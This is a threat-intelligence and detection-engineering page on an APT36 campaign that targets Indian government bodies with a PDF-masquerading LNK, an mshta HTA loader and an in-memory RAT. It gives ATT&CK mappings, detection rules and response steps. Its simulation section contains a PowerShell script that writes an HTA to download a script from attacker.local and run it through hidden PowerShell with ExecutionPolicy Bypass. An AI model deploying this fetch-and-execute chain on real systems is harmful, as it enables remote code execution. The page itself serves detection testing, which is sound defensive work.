APT36 : Multi-Stage LNK Malware Campaign Targeting Indian Government Entities
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
APT36 (Transparent Tribe) ran a spear-phishing campaign that delivered a malicious LNK shortcut masquerading as a PDF. When opened, the shortcut launches mshta.exe to execute an HTA-based loader that decrypts and runs payloads in memory, including a configuration module and a full-featured RAT DLL. The malware dynamically selects persistence methods based on the victim’s installed antivirus product and connects to its command-and-control server over an encrypted channel. The activity is assessed as espionage-focused, targeting Indian government and academic organizations to steal data.
Investigation
Researchers analyzed the unusually large LNK file, traced the embedded HTA content hosted on innlive.in, and reverse engineered the decryption logic. The chain revealed two primary stages: a .NET deserialization payload used to weaken or bypass security checks, followed by a fileless malicious DLL (e.g., ki2mtmkl.dll / iinneldc.dll) providing RAT functionality. Persistence behavior was mapped to specific antivirus products, and key C2 details—such as TCP port 8621 and an AES key used for encrypted traffic—were extracted during analysis.
Mitigation
Restrict or quarantine shortcut (.lnk) attachments delivered via email, particularly when packed in ZIP archives. Apply application-control policies to limit execution of mshta.exe, PowerShell, and other scripting engines from user-writable paths. Use endpoint detections for process chains involving mshta.exe and indicators of in-memory DLL execution, and enforce tight egress controls to block communication with unknown or untrusted domains.
Response
If suspicious LNK execution is detected, isolate the system, capture memory images, and hunt for in-memory DLL indicators tied to the RAT stage. Block identified malicious domains and related IP infrastructure, and rotate potentially exposed credentials. Perform forensic review to locate persistence artifacts in the Startup folder and registry, remove them, and validate that no additional footholds remain.
"graph TB %% Class definitions classDef technique fill:#cfe2f3 %% Node definitions tech_T1566_001["<b>Technique</b> – <b>T1566.001</b> Phishing: Spearphishing Attachment<br/>Send targeted email with malicious attachment"] class tech_T1566_001 technique tech_T1218_005["<b>Technique</b> – <b>T1218.005</b> System Binary Proxy Execution: Mshta<br/>Execute malicious HTA via mshta.exe"] class tech_T1218_005 technique tech_T1059_001["<b>Technique</b> – <b>T1059.001</b> PowerShell<br/>Run PowerShell commands to download payload"] class tech_T1059_001 technique tech_T1059_005["<b>Technique</b> – <b>T1059.005</b> Visual Basic<br/>Execute HTA script using VBScript"] class tech_T1059_005 technique tech_T1027["<b>Technique</b> – <b>T1027</b> Obfuscated Files or Information<br/>Payload is layered encoded/encrypted"] class tech_T1027 technique tech_T1055["<b>Technique</b> – <b>T1055</b> Process Injection<br/>Inject malicious DLL into legitimate process"] class tech_T1055 technique tech_T1547_001["<b>Technique</b> – <b>T1547.001</b> Boot or Logon Autostart Execution: Startup Folder<br/>Persist via shortcut in Startup"] class tech_T1547_001 technique tech_T1112["<b>Technique</b> – <b>T1112</b> Modify Registry<br/>Add Run keys for persistence"] class tech_T1112 technique tech_T1036["<b>Technique</b> – <b>T1036</b> Masquerading<br/>LNK masquerades as PDF"] class tech_T1036 technique tech_T1518_001["<b>Technique</b> – <b>T1518.001</b> Software Discovery: Security Software Discovery<br/>Query installed AV"] class tech_T1518_001 technique tech_T1082["<b>Technique</b> – <b>T1082</b> System Information Discovery<br/>Collect OS, username, etc."] class tech_T1082 technique tech_T1057["<b>Technique</b> – <b>T1057</b> Process Discovery<br/>Enumerate processes"] class tech_T1057 technique tech_T1083["<b>Technique</b> – <b>T1083</b> File and Directory Discovery<br/>Search for documents"] class tech_T1083 technique tech_T1115["<b>Technique</b> – <b>T1115</b> Clipboard Data<br/>Capture clipboard"] class tech_T1115 technique tech_T1113["<b>Technique</b> – <b>T1113</b> Screen Capture<br/>Capture screenshots"] class tech_T1113 technique tech_T1041["<b>Technique</b> – <b>T1041</b> Exfiltration Over C2 Channel<br/>Exfiltrate data via C2"] class tech_T1041 technique tech_T1573["<b>Technique</b> – <b>T1573</b> Encrypted Channel<br/>C2 traffic encrypted"] class tech_T1573 technique %% Connections tech_T1566_001 –>|leads_to| tech_T1218_005 tech_T1218_005 –>|leads_to| tech_T1059_001 tech_T1218_005 –>|leads_to| tech_T1059_005 tech_T1059_001 –>|leads_to| tech_T1027 tech_T1027 –>|leads_to| tech_T1055 tech_T1055 –>|leads_to| tech_T1547_001 tech_T1547_001 –>|leads_to| tech_T1112 tech_T1218_005 –>|leads_to| tech_T1036 tech_T1036 –>|leads_to| tech_T1518_001 tech_T1518_001 –>|leads_to| tech_T1082 tech_T1082 –>|leads_to| tech_T1057 tech_T1057 –>|leads_to| tech_T1083 tech_T1083 –>|leads_to| tech_T1115 tech_T1083 –>|leads_to| tech_T1113 tech_T1115 –>|leads_to| tech_T1041 tech_T1113 –>|leads_to| tech_T1041 tech_T1055 –>|leads_to| tech_T1573 "
Attack Flow
Detections
Possible Malicious LNK File with Double Extension (via cmdline)
View
Suspicious LOLBAS MSHTA Defense Evasion Behavior by Detection of Associated Commands (via process_creation)
View
Suspicious Binary / Scripts in Autostart Location (via file_event)
View
Suspicious Files in Public User Profile (via file_event)
View
Suspicious Execution from Public User Profile (via process_creation)
View
IOCs (SourceIP) to detect: APT36 : Multi-Stage LNK Malware Campaign Targeting Indian Government Entities
View
IOCs (HashSha256) to detect: APT36 : Multi-Stage LNK Malware Campaign Targeting Indian Government Entities
View
IOCs (DestinationIP) to detect: APT36 : Multi-Stage LNK Malware Campaign Targeting Indian Government Entities
View
Execution of mshta.exe with PowerShell or CMD [Windows Process Creation]
View
APT36 Malicious Domain and C2 Communication Detection [Windows Network Connection]
View
Detection of Hardcoded AES Key in APT36 Campaign [Windows Sysmon]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
An adversary has gained low‑privilege PowerShell access on a compromised workstation. To execute a remote payload without writing an executable to disk, the attacker usesmshta.exeto run an HTA file that pulls a PowerShell back‑door from a C2 server. The steps are:- Encode a minimal malicious HTA that launches PowerShell to download and execute a payload.
- Host the HTA on a web server (e.g.,
http://attacker.local/malicious.hta). - From the compromised PowerShell session, invoke
mshta.exewith the remote URL as an argument.
This chain creates a process‑creation event where
mshta.exeis the child ofpowershell.exe, precisely matching the Sigma rule. -
Regression Test Script:
#------------------------------------------------- # Simulated attacker script – triggers the rule #------------------------------------------------- # 1. Define the malicious HTA (inline for demo purposes) $htaContent = @" <script> // Download and execute a dummy PowerShell payload var url = 'http://attacker.local/payload.ps1'; var xhr = new ActiveXObject('Microsoft.XMLHTTP'); xhr.open('GET', url, false); xhr.send(); var ps = new ActiveXObject('WScript.Shell'); ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false); </script> "@ # 2. Write HTA to temporary location (simulating a hosted file) $tempPath = "$env:TEMPmalicious.hta" $htaContent | Set-Content -Path $tempPath -Encoding ASCII # 3. Launch mshta.exe from PowerShell (the detection trigger) $mshta = (Get-Command mshta.exe).Source Write-Host "[*] Launching mshta.exe to execute the HTA payload..." Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow # Optional: Sleep to allow the event to be captured Start-Sleep -Seconds 5 # Clean‑up (handled in the next section) -
Cleanup Commands:
# Remove temporary HTA file Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue # Stop any lingering mshta.exe processes (unlikely after normal execution) Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Cleanup complete."